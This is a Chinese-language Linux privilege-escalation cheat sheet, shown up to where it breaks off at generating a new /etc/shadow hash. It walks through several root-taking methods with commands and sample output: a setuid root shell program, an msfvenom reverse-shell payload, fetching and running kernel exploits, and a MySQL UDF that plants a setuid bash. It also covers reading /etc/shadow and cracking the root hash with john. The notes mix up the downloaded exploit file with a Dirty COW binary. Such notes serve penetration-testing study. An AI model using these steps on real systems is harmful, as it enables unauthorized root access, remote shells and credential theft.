Linux 提权总结
一、常用基础
1、自定义可执行文件(Custom Executable)
可能有某些根进程执行另一个可以控制的进程。在这些情况下,以下C代码一旦编译,将生成一个作为根运行的sbashell:
int main()
{
setuid(0);
system("/bin/bash -p");
}
编译
gcc -o <name> <filename.c>
2、linux中常用的反弹shell(msfvenom)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf >
shell.elf
该程序可通过nc、ncat或者msf的 multi/handler接收一个反弹shell
二、提权总结
1.内核提权
1.1通过脏牛进行提取
1.1.1查看内核版本
$ uname -a
Linux debian 2.6.32-5-amd64 1 SMP Tue May 13 16:34:35 UTC 2014 x86_6 4 GNU/Linux
1.1.2查找对漏洞
searchsploit linux kernel 2.6 priv esc debian
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1) | linux/local/8478.sh
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation | linux_x86-64/local/45516.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3) | linux/local/9575.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation | linux/local/718.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation | linux_x86-64/local/44302.c
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation | linux/local/23674.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------
1.1.3下载对应的payload
└─# searchsploit Lightbox -m 45516.c
[!] Could not find EDB-ID #
Exploit: Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45516
Path: /usr/share/exploitdb/exploits/linux_x86-64/local/45516.c
Codes: CVE-2018-14634
Verified: False
File Type: C source, ASCII text
cp: overwrite '/root/test/45516.c'?
Copied to: /root/test/45516.c
1.1.4将payload上传至服务器并编译
gcc -pthread c0w.c -o c0w
1.1.5执行文件提权
./c0w
$ /usr/bin/passwd
root@debian:/home/user# id
uid=0(root) gid=1000(user) groups=0(root) ...
2.通过服务提权
2.1通过mysql服务提权
2.1.1查询root权限运行的服务
$ ps aux | grep "^root”
...
root 6933 0.0 4.9 165472 24376 pts/0 Sl 02:13 0:02 /usr
/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root ...
2.1.2查询版本
$ mysqld --version
mysqld Ver 5.1.73-1+deb6u1 for debian-linux-gnu on x86_64 ((Debian))
2.1.3MySQL能够安装通过共享对象运行的用户自定义函数(UDF)。
2.1.4按照这个漏洞中的说明来编译并安装一个执行系统命令的UDF
https://www.exploit-db.com/exploits/1518
2.1.5安装UDF后,在MySQL shell中运行以下命令
mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/ro
otbash');
2.1.6返回到我们的常规shell,并运行一个root的/tmp/bootbash:
/tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root
),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(u
ser)
- 检查服务的时候我们经常也会用到下面的命令
<program> --version
<program> -v
dpkg -l | grep <program>
rpm –qa | grep <program>
3.通过写特殊文件的方式提权
需要用到的命令
find /etc -maxdepth 1 -writable -type f
find /etc -maxdepth 1 -readable -type f
find / -executable -writable -type d 2> /dev/null
3.1 通过读取到的/etc/shadow文件提权
3.1.1 /etc/shadow 文件简介
/etc/阴影文件包含用户密码哈希,默认情况下,除root用户外,任何用户都无法读取。如果我们能够读取/etc/shadow文件的内容,我们可能能够破解根用户的密码哈希。如果我们能够修改/etc/shadow文件,我们就可以用一个我们知道的密码散列替换根用户的密码哈希。
3.1.2 查看/etc/shadow文件的读写权限
ls -l /etc/shadow
-rw-r—rw- 1 root shadow 810 May 13 2017 /etc/shadow
3.1.3 提取root用户的密码哈希
head -n 1 /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXv
RDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
3 1.4将上面提取到的hash保存到hash.txt
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVl
aXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt'
3.1.5通过john破解hash
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.t
xt hash.txt
...
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE
2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
3.1.6通过破解到的密码登录root
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)
3.2通过写/etc/shadow文件提权
3.2.1查看/etc/shadow文件的写权限
ls -l /etc/shadow
-rw-r—rw- 1 root shadow 810 May 13 2017 /etc/shadow
3.2.2 将/etc/shadow备份以便后面恢复
cp /etc/shadow /tmp/shadow
3.2.3生成一个新的SHA-512密码哈希:
mkpasswd